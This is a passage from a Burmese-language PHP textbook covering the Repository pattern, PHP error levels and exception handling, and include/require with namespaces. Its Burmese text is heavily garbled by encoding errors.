    private $repo;

    public function __construct(Repository $repo)
    {
        $this->repo = $repo;
    }

    public function update($data)
    {
        $this->repo->update($data);
    }
}

$app = new App(new Repository);
$app->update(["name" => "Alice", "age" => 22]);

// Saving Alice and 22

ဒီနည်းကကြေပးတဲ့ အားသာချက် နှစ်ချက်ရှိပါတယ်။ ပထမတစ်ချက်ကကြေတာ့ Data ကြေတွ စစ်ကြေဆးတဲ့ အလုပ်
အပါအဝင်  အကြေသးစိတ်စီမံတဲ့  အလုပ်ကြေတွကို  App  မှာ  လုပ်စရာမလုိကြေတာ့ပါyူး။  SOLID  ရဲ့  Single
Responsibility Principle အသက်ဝင်သွားတာပါ။ Data ကိုသပ်သပ်စီမံပြပီး App ကို သပ်သပ်စီမံလုိ့ ရသွား
ပါတယ်။  ဒုတိယအားသာချက်ကကြေတာ့  Repository  ကို  Dependency  Injection  နဲ့  အသုံးgပုထားလုိ့
လုိအပ်ရင်  Repository  ကြေgပာင်းသုံးလုိ့  ရနိုင်ပါတယ်။  လက်ရှိ  Model  ကိုသုံးကြေနကြေပမယ့်၊  လုိအပ်ချက်အရ
တgခား Data Layer ကို ကြေgပာင်းသုံးရမယ်ဆိုရင် ကြေgပာင်းရပုိလွယ်သွားမှာပဲ goစ်ပါတယ်။
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ထုံးစံအတိုင်း လက်ကြေတွ့အသုံးချတဲ့အခါ တစ်ကြေယာက်နဲတ့စ်ကြေယာက် အကြေသးစိတ် ကြေရးဟန်ကြေတွကွာသွားနိုင်
ပါတယ်။  ပြပီးကြေတာ့  Data  စီမံတဲ့အကြေeကာင်း  ကြေgပာကြေနတာမုိလုိ့့  ပကြေရာင်္ဂျကတ်စ်ခုနဲတ့စ်ခု  လုိအပ်ချက်gခင်း
လည်း မတူeကgပန်ပါyူး။ ဒါကြေeကာင့် လက်ကြေတွ့ကုဒ်ကြေတွနဲ့  Implementation ကကြေတာ့ ကွဲgပားနိုင်ပါတယ်။
ဒါကြေပမယ့် လုိရင်းအချုပ်အကြေနနဲ့  Data    ကို တိုက်ရုိက်စီမံမယ့်အစား eကားခံ    Repository    တစ်ခု ထားလုိက်  
မယ်ဆိုရင်   Single Responsibility Principle   နဲအ့ညီ ပုိစနစ်ကျတဲ့ကုဒ်ကိုရနိုင်ပြပီး   Data Layer   ကို လုိအပ်  
ရင် ကြေgပာင်းသုံးလုိရ့တဲ့ အားသာချက်ကို ရနိုင်တယ် ဆိုတဲ့အချက်ကို အထူးgပု မှတ်သားရမှာ goစ်ပါတယ်။

Other Patterns
အခုကြေoာ်gပခဲ့တဲ့  Pattern ကြေတွဟာ Laravel  မှာ အသုံးgပုထားတဲ့  Pattern ကြေတွလုိ့ ကြေgပာခဲ့ပါတယ်။။ ဒါဟာ
တgခား  Pattern  ကြေတွကို  Laravel  မှာ သုံးလုိမ့ရyူးဆိုတဲ့  အဓိပ္ပါယ်မဟုတ်yူး။ တgခား  Patterns  ကြေတွကို
ကြေလ့လာသိရှိပြပီး  သင့်ကြေတာ်တဲ့  ကြေနရာမှာ  အသုံးချမယ်ဆိုရင်  ပုိပြပီးကြေတာ့  သပ်ရပ်စနစ်ကျတဲ့  ကုဒ်ကြေတွကို
ကြေရးသားနိုင်မှာ goစ်ပါတယ်။ 

GoF Design Patterns (၂၃) ခုလုံးနဲ့ တgခား Patterns တစ်ချ ို ့ကို PHP နဲ့ နမူနာ ကြေရးgပထားတဲ့ Repo တစ်
ခုရှိပါတယ်။ စာကြေရးသူကိုယ်တိုင်  ကြေရးသားထားတာပါ။ အခု  ချက်ချင်းမဟုတ်ရင်ကြေတာင် ကြေနာက်ပုိင်းအချနိ်
ကြေပးနိုင်တဲ့အခါ ဆက်လက်ကြေလ့လာeကည့်သင့်ပါတယ်။ 

- https://github.com/eimg/design-patterns-php

https://github.com/eimg/design-patterns-php
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အခန်း (၃၃) – PHP Error Handling

ကုဒ်ကြေတွ ကြေရးeကတဲ့အခါ  Error  ဆိုတာ ကြေရှာင်လဲွလုိမ့ရနိုင်ပါyူး။ ကြေရးထုံးအမှားကြေeကာင့်လည်း Error  တက်
မယ်၊  Semicolon  ကျန်ခဲ့လုိလ့ည်း  Error  တက်မယ်၊  အoွင့်အပိတ်မမှန်လုိလ့ည်း  Error  တက်မယ်၊
စာလုံးကြေပါင်းမှားလုိ့လည်း Error တက်မယ်၊ gပင်ပသက်ကြေရာက်မှုတစ်ခုခုကြေeကာင့်လဲ Error တက်မယ်၊ Error
ကြေတွကကြေတာ့ ပုံစံအမျ ို းမျ ို းပါပဲ။ ဒီ  Error  ကြေတွဟာ တစ်ခုနဲတ့စ်ခု အမျ ို းအစားမတူသလုိ အဆင့်လည်းမတူ
eကပါyူး။ တစ်ချ ို ့  Error  ကြေတွက သတိကြေပးယံုသက်သက်goစ်ပြပီး  တစ်ချ ို ့  Error  ကြေတွကကြေတာ့ ပရုိင်္ဂရမ်ကို
လုံးဝ  ရပ်တန့်သွားကြေစတဲ့  Error  ကြေတွပါ။  ဒီအကြေeကာင်းကိုလည်း  ထည့်သွင်းကြေoာ်gပလုိပါတယ်။။  PHP  မှာ
Error အမျ ို းအစား (၁၆) မျ ို းထိရှိပါတယ်။ အ့ဲဒီထဲက အဓိကအကျဆံုးကကြေတာ့ ဒီ (၇) မျ ို းပါ။

1. E_PARSE
2. E_ERROR
3. E_WARNING
4. E_NOTICE
5. E_STRICT
6. E_DEPRECATED
7. E_ALL

E_PARSE ဆိုတာဟာ ကုဒ်ကို  Run  တဲ့အဆင့် မကြေရာက်လုိက်yဲ ကြေရးထားတဲ့  Syntax  မှာတင် မှားကြေနလုိ့
တကတ်ဲ့  Error  အမျ ို းအစား ပါ။  E_ERROR ဆိုတာကြေတာ့  Fatal Error  ကြေတွပါ။ ပရုိင်္ဂရမ်ကို  လံုးဝရပ်တန့်
သွားကြေစတဲ့  Error  ကြေတွပါ။  E_WARNING  ကလည်း  Error  တစ်မျ ို းပါပဲ။ ပရုိင်္ဂရမ်က ဆက်အလုပ် လုပ်ကြေန
ကြေသးကြေပမယ့် တစ်ခုခကုြေတာ့ အကြကီးအကျယ် မှားကြေနပြပီဆိုတဲ့အခါမျ ို းမှာ တက်ပါတယ်။  



PWD 2023 – အခန်း (၃၃) – PHP Error Handling 516

E_NOTICE နဲသ့တ်မှတ်ထားတဲ့  Notice  ကြေတွကကြေတာ့  မှားနိုင်ကြေgခရှိတဲ့အကြေgခအကြေနမျ ို းမှာ  တက်ပါတယ်။
ဥပမာ Array  တစ်ခရုဲ့ မရှိကြေသးတဲ့  Index မှာ တန်oုိးသတ်မှတ်တဲ့အခါ သတ်မှတ်လုိ့ ရပါတယ်။ ဒါကြေပမယ့်
မှားကြေနနိုင်တဲ့အတွက်  Notice Error  အမျ ို းအစားကို ကြေပးကြေလ့ရှိပါတယ်။  E_STRICT ဆိုတာကကြေတာ့ PHP
မှာ Strict Mode လုိ့ကြေခါ်တဲ့ သကြေyာသyာဝတစ်မျ ို း ရှိပါတယ်။ ဥပမာ ဒီကုဒ်ကိုeကည့်ပါ။

 PHP 

<?php

function add(int $a, int $b) {
    echo $a + $b;
}

add(1, "2"); // 3

နမူနာအရ  add() Function  ကို  ကြေခါ်တဲ့အခါ  Integer  တန်oုိးကြေတွကို  Argument  အကြေနနဲ့  ကြေပးရမယ်လုိ့
သတ်မှတ်ထားပါတယ်။ ဒါကြေပမယ့် တစ်ကယ်တမ်း ကြေပးတဲ့အခါ  String   တန်oုိးတစ်ခုကို ကြေပးကြေပမယ့်   Error  
မတက်ပါyူး။  အလုပ်လုပ်ပါတယ်။  String  ဆိုကြေပမယ့်  Number  String  ကို  Integer  ကြေgပာင်းမယ်ဆိုရင်
ကြေgပာင်းလုိရ့ကြေနတဲ့အတွက် PHP က ကြေgပာင်းပြပီးကြေတာ့ပဲ အလုပ်လုပ်ကြေပးမှာပါ။ အ့ဲဒါမျ ို းကို လက်မခံကြေစလုိရင်
ဒီလုိကြေရးလုိရ့ပါတယ်။

 PHP 

<?php

declare(strict_types=1);

function add(int $a, int $b) {
    echo $a + $b;
}

add(1, "2");

// Error: Argument #2 ($b) must be of type int, string given

အကြေပါ်ဆံုးမှာ  declare Statement  နဲ့  strict_types=1 လုိ့  ကြေeကညာလုိက်တဲ့အတွက်  PHP  က
ကုဒ်ကြေတွကို  Strict  Mode  နဲအ့လုပ်လုပ်ကြေပးသွားမှာပါ။  ဒီတစ်ခါကြေတာ့ မရကြေတာ့ပါyူး။  သတ်မှတ်ထားတဲ့
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အတိုင်း အတိအကျကြေပးမှပဲ အလုပ်လုပ်ကြေတာ့မှာပါ။ ဒါကြေeကာင့် Integer ကြေပးရမယ့်ကြေနရာမှာ String ကို ကြေပး
ထားတဲ့အတွက် Error တက်သွားပါပြပီ။ ဒီလုိ Error အမျ ို းအစားကို Strict Error လုိ့ကြေခါ်တာပါ။

E_DEPRECATED နဲ့  သတ်မှတ်ထားတဲ့  Deprecated Error  ကြေတွကကြေတာ့ အသုံးမgပုသင့်yူးလုိ့ သတ်မှတ်
ထားတဲ့  လုပ်ကြေဆာင်ချက်ကြေတွကို  အသုံးgပုတဲ့အခါ  ကြေပးတဲ့  Error  ကြေတွgoစ်ပါတယ်။ လက်ရှိသံုးလုိရ့ပါကြေသး
တယ်။ အလုပ်လုပ်ပါတယ်။ ဒါကြေပမယ့် မသံုးသင့်ကြေတာ့yူး၊  ကြေနာက်    PHP Version    ကြေတွမှာ အလုပ်လုပ်မှာ  
မဟုတ်ကြေတာ့yူး ဆိုတဲ့ အဓိပ္ပါယ်ပါ။

E_ALL ဆိုတာကကြေတာ့ Error အမျ ို းအစားအားလံုးကို ရည်ညွှန်းပါတယ်။

ကိုယ်ရဲ့ကုဒ်မှာ Error ကြေတွရှိလာတဲ့အခါ yယ်လုိ Error အမျ ို းအစားဆိုရင် gပရမယ်။ yယ်လုိ Error အမျ ို း
အစားဆိုရင်  မgပရyူးဆိုတာမျ ို းကို  သတ်မှတ်ထားလုိရ့ပါတယ်။ ပံုမှန်အားgoင့်  ဒီ  သတ်မှတ်ချက်ကို  PHP
Setting goစ်တဲ့ php.ini ဆိုတဲ့ oုိင်ထဲမှာ သတ်မှတ်ထားကြေလ့ရှိပါတယ်။ Windows မှာ Install လုပ်ထား
တဲ့ XAMPP အတွက်ဆိုရင် php.ini oုိင်ကို C:\xampp\php oုိဒါထဲမှာ ရှာပြပီးeကည့်လုိရ့နိုင်ပါတယ်။

ကုဒ်ထဲမှာ ကိုယ်တိုင်ကြေရးသားပြပီး Error ကြေတွကို စီမံချင်ရင်လည်း ရနိုင်ပါတယ်။ error_reporting()
လုိ့ကြေခါ်တဲ့  Standard  Function  ကို  အသံုးgပုနိုင်ပါတယ်။  error_reporting(0) လုိ့  ကြေရးသား
သတ်မှတ်ကြေပးလုိက်ရင် yာ Error ကိုမှ gပကြေတာ့မှာ မဟုတ်ပါyူး။ တစ်ခခုုမှားကြေနရင် yာကြေeကာင့်မှန်းမကြေgပာ
yဲ  အလုပ်မလုပ်ကြေတာ့လုိ့  အကြေeကာင်းရင်းကို  သိရမှာ  မဟုတ်ကြေတာ့ပါyူး။
error_reporting(E_ALL) ဆိုရင်ကြေတာ့ ရှိရှိသမျှ  Error  အမျ ို းအစား  အားလံုးကိုgပမှာပါ။  ကြေနာက်
တစ်နည်းအကြေနနဲ့  error_reporting(-1) လုိလ့ည်းကြေရးလုိရ့ပါကြေသးတယ်။  ဒါဆိုရင်လည်း  Error
အမျ ို းအစားအားလုံးကို gပမှာပဲ goစ်ပါတယ်။

အကြေရးကြကီးတဲ့  Parse Error, Fatal Error  ကြေတွနဲ့  Warning  ကြေတွကိုပဲ  gပကြေစချင်တယ်ဆိုရင်ကြေတာ့ ဒီလုိကြေရး
ကြေပးလုိက်လုိ ့ရနိုင်ပါတယ်။

error_reporting(E_PARSE | E_ERROR | E_WARNING);
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ဒါဆိုရင်  Parse Error,  Fatal Error  ကြေတွနဲ့  Warning  ကြေတွကလဲွရင် ကျန်  Error  အမျ ို းအစားကြေတွကို gပမှာ
မဟုတ်ကြေတာ့ပါyူး။  ကြေနာက်ထပ်ကြေရးနည်းကကြေတာ မgပကြေစချင်တာကို ကြေရွးချန်တဲ့နည်းgoစ်ပါတယ်။ ဒီလုိကြေရး
ရပါတယ်။

error_reporting(E_ALL & ~E_NOTICE);

ဒါဆိုရင် Notice ကြေတွကလဲွရင် ကျန် Error အားလုံးကိုgပမယ်လုိ့ ကြေgပာလုိက်တာပါ။

PHP မှာ Exception Handling သကြေyာသyာဝလည်း ရှိပါကြေသးတယ်။ Exception Handling ဆိုတာဟာ
Error  တက်တဲ့အခါ  ပရုိင်္ဂရမ်  ရပ်မသွားကြေစyဲ  yာဆက်လုပ်ရမလဲဆိုတာကို  သတ်မှတ်ကြေပးနိုင်တဲ့  နည်း
လမ်းပါ။ လုိအပ်ရင် ကိုယ်ကြေရးတဲ့ကုဒ်ထဲမှာလည်း Exception ကြေတွကြေပးလုိရ့ပါတယ်။ ဒီလုိပါ –

 PHP 

<?php

function add($nums) {
    if(!is_array($nums)) {
        throw new Exception("Argument must be array");
    }

    return array_sum($nums);
}

echo add(1);

// Error: Uncaught Exception: Argument must be array

add() ကိုကြေပးလာတဲ့ Argument ဟာ Array ဟတု်မဟုတ်စစ်ပြပီး မဟုတy်ူးဆိုရင် throw Statement နဲ့
Exception Object တစ်ခုကို ကြေပးခိုင်းလုိက်တာပါ။ ဒါကြေeကာင့် Array မဟုတ်တဲ့ တန်oုိးကြေပးပြပီး ကြေခါ်လုိက်တဲ့
အခါ  Uncaught Exception Error  တက်သွားတာပါ။  ကိုယ့်yာသာ တက်ခိုင်းလုိက်တဲ့  Error  တစ်မျ ို းလုိ့
ဆိုနိုင်ပါတယ်။
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ဒီလုိ  Exception  ကြေတွ  ရှိလာတဲ့အခါ  Error  မတက်ကြေစyဲ  yာဆက်လုပ်ရမလဲ ဆိုတာကို  try-catch
Statement နဲ ့သတ်မှတ်ကြေပးထားလုိ ့ရပါတယ်။ ဒီလုိပါ – 

try {
    echo add(1);
} catch(Exception $e) {
    echo $e->getMessage();
}

// Argument must be array

ကြေစာကြေစာက  add() Function  ကို  ကြေခါ်ထားတာပါပဲ။  ဒီတစ်ခါကြေတာ့  add() Function  ကို  try
Statement ထဲမှာ ကြေခါ်ထားပါတယ်။ ဒါကြေeကာင့်  Exception ရှိလာတဲ့အခါ  Error  မတက်ကြေတာ့yဲ  catch
Statement  ကို  အလုပ်လုပ်သွားမှာ goစ်ပါတယ်။ နမူနာအရ  catch Statement  ထဲမှာ  Exception  ကို
လက်ခံယူပြပီး သူရဲ့ Message ကိုပဲ gပခိုင်းလုိက်တာပါ။ ဒါကြေeကာင့် ရလဒ်အကြေနနဲ့ Error Message ကိုပဲ ရမှာ
goစ်ပါတယ်။

try-catch Statement  နဲအ့တူ  တွဲသုံးနိုင်တဲ့  finally Statement  ဆိုတာလည်း  ရှိပါကြေသးတယ်။
catch Statement ဟာ Exception ရှိရင် အလုပ်ပြပီး finally Statement ကကြေတာ့ Exception ရှိရှိ မ
ရှိရှိ အလုပ်လုပ်ပါတယ်။ ဒီလုိပါ – 

try {
    echo add(1);
} catch(Exception $e) {
    echo $e->getMessage();
} finally {
    echo "Done";
}

// Argument must be array
// Done

နမူနာအရ  Exception  ရှိကြေနလုိ့  catch Statement  အလုပ်လုပ်သွားပြပီးကြေနာက် finally Statement
ကိုလည်း ဆက်အလုပ်လုပ်သွားတာကို ကြေတွ့ ရမှာgoစ်ပါတယ်။
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 PHP 

<?php

function add($nums) {
    if(!is_array($nums)) {
        throw new Exception("Argument must be array");
    }

    return array_sum($nums);
}

try {
    echo add([1, 2]);
} catch(Exception $e) {
    echo $e->getMessage();
} finally {
    echo "Done";
}

// 3
// Done

ဒီတစ်ခါကြေတာ့  Exception  မရှိလုိ့  catch Statement  အလုပ်မလုပ်ကြေတာ့ပါyူး။  ဒါကြေပမယ့်  finally
Statement ကကြေတာ့ အလုပ်လုပ်သွားတယ်ဆိုတာကို ကြေတွ့ရမှာပဲ goစ်ပါတယ်။

ဒီနည်းကိုသာ စနစ်တကျအသံုးချမယ်ဆိုရင် Error ရှိလာတဲ့အခါ ပရုိင်္ဂရမ်က ရပ်သွားတယ်ဆိုတာမျ ို း မgoစ်
ကြေစကြေတာ့yဲ  Error  ရှိလာရင်  yာလုပ်ရမလဲဆိုတာကို  သတ်မှတ်ကြေပးလုိ့  ရသွားတဲ့သကြေyာပဲ  goစ်ပါတယ်။
PHP  ရဲ့  Error  အားလုံးကို  ဒီနည်းနဲ့  oမ်းလုိ့ကြေတာ့  မရနိုင်ပါyူး။  Error  အများစုက ရုိးရုိး  Error  ကြေတွပါ။
Exception Error  ကြေတွ မဟုတ်eကပါyူး။  ကြေနာက်ပုိင်း  PHP Version  ကြေတွမှာ ထပ်မံgoည့်စွက်ကြေပးထားတဲ့
လုပ်ကြေဆာင်ချက်သစ်ကြေတွမှာကြေတာ့ Exception Error ကြေတွကို အသုံးgပုထားပါတယ်။ ကြေရးနည်းရှိမှန်း သိထား
ပြပီး သင့်ကြေတာ်တဲ့ကြေနရာမှာ အသုံးgပုနိုင်eကoုိ့ပဲ goစ်ပါတယ်။
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အခန်း (၃၄) – PHP Modules & Namespaces

Programming  Language  တိုင်း  လုိလုိမှာ  Module  လုပ်ကြေဆာင်ချက်ရှိပါတယ်။  ဒီ  Module
လုပ်ကြေဆာင်ချက်ရဲ့ အကူအညီနဲ့ ကုဒ်ကြေတွ ခွဲထုတ်ကြေရးသားgခင်း၊ လုိအပ်တဲ့အခါ ရယူထည့်သွင်းအသံုးgပုgခင်း
အားgoင့် Reusable ကုဒ်ကြေတွကို ရeကတာပါ။ JavaScript မှာဆိုရင် CommonJS Module နဲ့ ES6 Module
ဆိုပြပီး နည်းပညာမူကွဲ နှစ်မျ ို းရှိပါတယ်။

PHP မှာ Module လုပ်ကြေဆာင်ချက် စစ်စစက်ြေတာ့ မရှိပါyူး။ ဒါကြေပမယ့် Module ကဲ့သုိ့ ကုဒ်ကြေတွကို ခွဲထုတ်
ကြေရးသားထားပြပီး  လုိတဲ့ကြေနရာမှာ  gပန်လည်ရယူထည့်သွင်းနိုင်တဲ့  နည်းကြေတွကြေတာ့  ရှိပါတယ်။  ဥပမာ
Math.php ဆိုတဲ့အမည်နဲ့ ဒီလုိoုိင်တစ်ခု ရှိတယ်ဆိုeကပါစို့ -

 PHP 

<?php

// Math.php
define('PI', 3.14);

function add($a, $b) {
    echo $a + $b;
}

ဒီoုိင်ထဲမှာပါတဲ့  လုပ်ကြေဆာင်ချက်ကြေတွကို  ရယူအသုံးgပုလုိတဲ့အခါ  include Statement  ကို  အသုံးgပုပြပီး
အခုလုိရယူအသံုးgပုနိုင်ပါတယ်။
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 PHP 

<?php

// App.php

include('Math.php');

echo PI; // 3.14
echo add(1, 2); // 3

include အတွက်  ရယူအသံုးgပုလုိတဲ့  ကုဒ်oုိင်တည်ကြေနရာကို  ကြေပးရတာပါ။  နမူနာမှာ oုိင်အမည်goစ်တဲ့
Math.php လုိပဲ့ကြေပးထားတဲ့အတွက် လက်ရှိ  App.php ရှိကြေနတဲ့  oုိဒါထဲမှာပဲ ရှာပြပီးထည့်ကြေပးသွားမှာပါ။
ရှာလုိ့ မကြေတွ့ရင်ကြေတာ့ Warning တက်ပါလိမ့်မယ်။ အကယ်၍ ရယူအသံုးgပုလုိတဲ့oုိင်က တgခားကြေနရာမှာဆို
ရင် တည်ကြေနရာအတိအကျ ကြေပးoုိ ့လုိအပ်ပါလိမ့်မယ်။

include Statement နဲ့ တgခား Language ကြေတွရဲ့ Module မတူတာက၊ Module ကုဒ်ကြေတွမှာ ကြေရးသား
သူက  ရယူအသံုးgပုခွင့်ကြေပးလုိတဲ့  လုပ်ကြေဆာင်ချက်ကို  သတ်မှတ်ကြေပးလုိရ့သလုိ၊  ရယူအသံုးgပုသူကလည်း
ကြေပးထားတဲ့အထဲက လုိချင်တဲ့ လုပ်ကြေဆာင်ချက်ကို ကြေရွးချယ်ရယူလုိ့ ရနိုင်မှာပါ။ include Statement မှာ
ကြေတာ့ အ့ဲဒီလုိမျ ိူ း ကြေရွးချယ်လုိရ့မှာ မဟုတ်ပါyူး။  oုိင်တစ်ခုကို ချတိ်ဆက်ရယူလုိက်တာနဲ့  အ့ဲဒီoုိင်ထဲက ရှိ
သမျှကုဒ်အတွက်  အကုန်လံုးကို  ထည့်ပြပီး    Run    ကြေပးသွားမှာပါ  ။  ဒီအချက်ကို  အထူးသတိgပုoုိလုိ့ပါတယ်။
ကြေနာက်တစ်ကြေခါက်ကြေလာက် ထပ်ကြေgပာချင်ပါတယ်။  include Statement  နဲ့  ကုဒ်oုိင်တစ်ခုကို  ချတိ်ဆက်
ရယူ လုိက်တဲ့အခါ အ့ဲဒီကုဒ်oုိင်ထဲမှာ ကြေရးထားသမျှကုဒ်အကုန်လံုးကို  ချတိ်ဆက်လုိက်တဲ့  ကြေနရာမှာ ထည့်
ပြပီး Run ကြေပးသွားမှာပါ။

include Statement ကို ကြေရးတဲ့အခါ ကြေနာက်က ဝုိက်ကွင်းအoွင့်အပိတ် ထည့်ကြေရးလုိရ့သလုိ၊ မထည့်yဲ
လည်း ကြေရးလုိရ့ပါတယ်။ ဒီလုိပါ – 

include('Math.php');

include 'Math.php';
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include Statement  ရဲ့ မူကွဲအကြေနနဲ့  require Statement  ကိုလည်း အသံုးgပုနိုင်ပါတယ်။ ကြေရးသား
အသုံးgပုပံု အတူတူပါပဲ။ 

require('Math.php');

require 'Math.php';

ကွာသွားတာက၊  oုိင်တစ်ခုကို  ချတိ်ဆက်လုိက်တဲ့အခါ  တည်ကြေနရာ  မှားကြေနလုိ့  ချတိ်ဆက်မရတဲ့အခါ
include က  Warning  ကြေပးပြပီး ကျန်ကုဒ်ကြေတွကို  ဆက်အလုပ်လုပ်ပါတယ်။  require ကကြေတာ့  Error
ကြေပးပြပီး ကြေနရာမှာတင် ဆက်အလုပ်မလုပ်ကြေတာ့yဲ ရပ်လုိက်မှာ goစ်ပါတယ်။ ဒီလုိ အgပုအမူ အနည်းငယ်ကွာ
ကြေပမယ့်  အသံုးgပုနည်းကကြေတာ့  အတူတူပဲမုိ့လုိ့  မိမိနှစ်သက်ရာ  Statement  ကို  အသံုးgပုနိုင်ပါတယ်။
ကြေရှ့ဆက် ကြေoာ်gပတဲ့အခါမှာကြေတာ့ include ကိုအသုံးgပုပြပီးကြေတာ့ပဲ ဆက်လက်ကြေoာ်gပသွားပါမယ်။ တgခား
yာကြေeကာင့်မှ မဟုတ်ပါyူး။ သုံးကြေနeက goစ်ကြေနလုိ့ပါ။

ကုဒ်oုိင်တစ်ခုကို တစ်ကြကိမ်ထက်ပုိပြပီး Include လုပ်မိရင်မလုိလားအပ်တဲ့ gပဿနာကြေတွ တက်နိုင်ပါတယ်။

include('Math.php');
include('Math.php');

ပထမတစ်ကြကိမ်  Include  လုပ်စဉ်မှာ  Math.php ထဲကကုဒ်ကြေတွကို  အကုန်ထည့်သွင်းသွားသလုိ ကြေနာက်
တစ်ကြကိမ် Include လုပ်စဉ်မှာလည်း ကြေနာက်တစ်ကြကိမ် အကုန်ထပ်မံထည့်သွင်းသွားမှာgoစ်လုိ ့ကုဒ်ကြေတွ ထပ်
ကုန်ပါပြပီ။ တူညီနဲ့  Function Name  နဲ့  နှစ်ခါကြေရးမိသလုိကြေတွgoစ်ပြပီး  Error  ကြေတွ တက်ကုန်ပါလိမ့်မယ်။ ဒီ
gပဿနာကို ကြေရှာင်ရှားလုိရင် include_once Statement ကို သုံးနိုင်ပါတယ်။ 

include_once('Math.php');
include_once('Math.php');

ပထမတစ်ကြကိမ်  include_once နဲ့ ရယူထည့်သွင်းစဉ်မှာ အရင်ကအ့ဲဒီoုိင်ကို မယူoူးလုိ့ ရယူထည့်သွင်း
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ကြေပးသွားပါလိမ့်မယ်။ ကြေနာက်တစ်ကြကိမ် include_once နဲ့ ထပ်မံထည့်သွင်းတဲ့အခါ အ့ဲဒီoုိင်ကို တစ်ကြကိမ်
ထည့်သွင်းoူးပြပီးgoစ်လုိ့  include_once က  ထပ်မံထည့်သွင်းကြေတာ့မှာ  မဟုတ်ပါyူး။  ဒီကြေရးနည်းက
Condition ကြေတွစစ်ပြပီး အကြေgခအကြေနကြေပါ်မူတည်ပြပီး oုိင်ကြေတွကို Include လုပ်ရတဲ့အခါ အသုံးဝင်နိုင်ပါတယ်။

အလားတူပဲ  require_once Statement  လည်းရှိပါကြေသးတယ်။  Statement  ကွဲသွားကြေပမယ့် သကြေyာ
သyာဝက include_once နဲ ့အတူတူပဲgoစ်ပါတယ်။

Namespaces
ဒီလုိကုဒ်oုိင်ကြေတွကို  ရယူအသံုးgပုတဲ့အခါ ကြကံုရနိုင်တဲ့  gပဿနာတစ်ခုရှိပါတယ်။ ဥပမာ  -  Math.php နဲ့
Calculator.php ဆိုပြပီး oုိင်နှစ်ခုရှိတယ် ဆိုeကပါစို။့

// Math.php

define('PI', 3.14);

function add($a, $b) {
    return $a + $b;
}

// Calculator.php

function double($n) {
    return $n * 2;
}

function add($nums) {
    return array_sum($nums);
}

ဒီoုိင်နှစ်ခုကို အသံုးgပုလုိတဲ့အတွက် အခုလုိ ချတိ်ဆက်ရယူလုိက်မယ်ဆိုရင် အဆင်မကြေgပကြေတာ့ပါyူး။
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// App.php

include('Math.php');
include('Calculator.php');

yာgoစ်လုိလဲ့ဆိုကြေတာ့  Math.php မှာ  add() Function  ရှိကြေနသလုိ၊  Calculator.php မှာလည်း
add() Function ရှိကြေနပါတယ်။ PHP   မှာ   Function Name   တရူင်လက်မခံပါyူး  ။ ဒါကြေeကာင့် ဒီoုိင်နှစ်ခုမှာ
Function Name ကြေတတွိုက်ကြေနတဲ့အတွက် Cannot redeclare Error တက်ပြပီး အဆင်မကြေgပကြေတာ့ပါyူး။

ဒီလုိgပဿနာမျ ို း မgoစ်ရကြေအာင်  Namespace  နဲ့ကြေgoရှင်းလုိရ့ပါတယ်။ ကုဒ်ကြေတွကြေရးတဲ့အခါ ဒီအတိုင်းမကြေရး
y၊ဲ သူ့ Namespace နဲ့သူ ကြေရးကြေပးလုိက်မယ်ဆိုရင်ကြေတာ့ ဒီgပဿနာ မတက်ကြေတာ့ပါyူး။

// Math.php

namespace Math;

define('PI', 3.14);

function add($a, $b) {
    return $a + $b;
}

// Calculator.php

namespace Calculator;

function double($n) {
    return $n * 2;
}

function add($nums) {
    return array_sum($nums);
}

ဒါဆိုရင်ကြေတာ့  အဆင်ကြေgပသွားပါပြပီ။  သက်ဆိုင်ရာ  ကုဒ်oုိင်မှာ  Namespace  ကြေလးကြေတွ  ကြေeကညာကြေပးလုိက်
တာပါ။  Namespace  အမည်ကို  မိမိနှစ်သက်ရာအမည်  ကြေပးနိုင်ပါတယ်။  အခုဆိုရင်  Math.php ထဲက
add() ဟာ ရုိးရုိး  add() မဟုတ်ကြေတာ့ပါyူး။  Math Namespace  ကြေအာက်မှာရှိတဲ့  add() goစ်သွားပါ
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ပြပီ။ အလားတူပဲ  Calculator.php ထဲက add() ဟာလည်း Calculator Namespace ကြေအာက်မှာရှိ
တဲ့  add() goစ်သွားလုိ့  Function အမည်တူကြေနကြေပမယ့် Namespace မတူတဲ့အတွက်ကြေeကာင့် အဆင်ကြေgပ
သွားမှာပဲ goစ်ပါတယ်။

ဒီလုိ  သူ့  Namespace  နဲ့သူ  ကြေရးသားထားတဲ့  ကုဒ်ကြေတွကို  အသုံးချလုိရင်  သက်ဆိုင်ရာ  Namespace
တည်ကြေနရာ မှန်ကြေအာင်ကြေပးပြပီးကြေတာ့ သုံးရပါတယ်။ ဒီလုိပါ –

// App.php

include('Math.php');
include('Calculator.php');

echo Math\add(1, 2);                // 3
echo Calculator\add([ 2, 3, 4 ]);   // 9

နမူနာမှာ Math.php နဲ့  Calculator.php နှစ်ခုလံုးကို  Include လုပ်ထားပါတယ်။ ပြပီးတဲ့အခါ သက်ဆိုင်ရာ
Namespace တည်ကြေနရာအတိအကျကြေပးပြပီးကြေတာ့ add() Function ကြေတွကိကုြေခါ်ယူအသုံးgပုထားတာ ကြေတွ့
gမင်ရမှာပဲ  goစ်ပါတယ်။  နမူနာမှာ  ကြေတွ့ရတဲ့အတိုင်း  Namespace  တည်ကြေနရာကြေရးသားoုိအ့တွက်  \
သကြေက[တကို အသုံးgပုကြေရးသားကြေပးရပါတယ်။

ဒီလုိလည်း goစ်နိုင်ပါကြေသးတယ်။

// App.php

namespace Math;

include('Math.php');
include('Calculator.php');

echo add(1, 2);                      // 3
echo \Calculator\add([ 2, 3, 4 ]);   // 9

ဒီတစ်ခါ  App.php  မှာလည်း  Namespace  ရှိသွားတာပါ။  သူရဲ့  Namespace  ကလည်း  Math  goစ်တဲ့
အတွက် တgခားoုိင်ထဲမှာရှိကြေနတဲ့ Math Namespace ကြေအာက်က add() Function ကို တိုက်ရုိက် ကြေခါ်ယူ
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အသုံးgပုနိုင်တာကို  ကြေတွ့ ရမှာပဲ  goစ်ပါတယ်။  Namespace  တူကြေနတဲ့အတွက်ကြေeကာင့်ပါ။  ဒါကြေပမယ့်
Calculator Namespace  ကြေအာက်က  add() ကိုကြေတာ့  Calculator\add() လုိ့ကြေခါ်လုိ့  မရကြေတာ့ပါ
yူး။ ဒါဆိုရင် တစ်ကယ်ကြေခါ်ယူသွားမှာက Math\Calculator\add() ကို ကြေခါ်ယူသွားမှာgoစ်လုိ့ မရှိ
တဲ့အတွက်  Error  တက်ပါလိမ့်မယ်။ သူကိုယ်တိုင်က  Math Namespace  ကြေအာက်မှာရှိကြေနလုိ့  ဆက်လက်
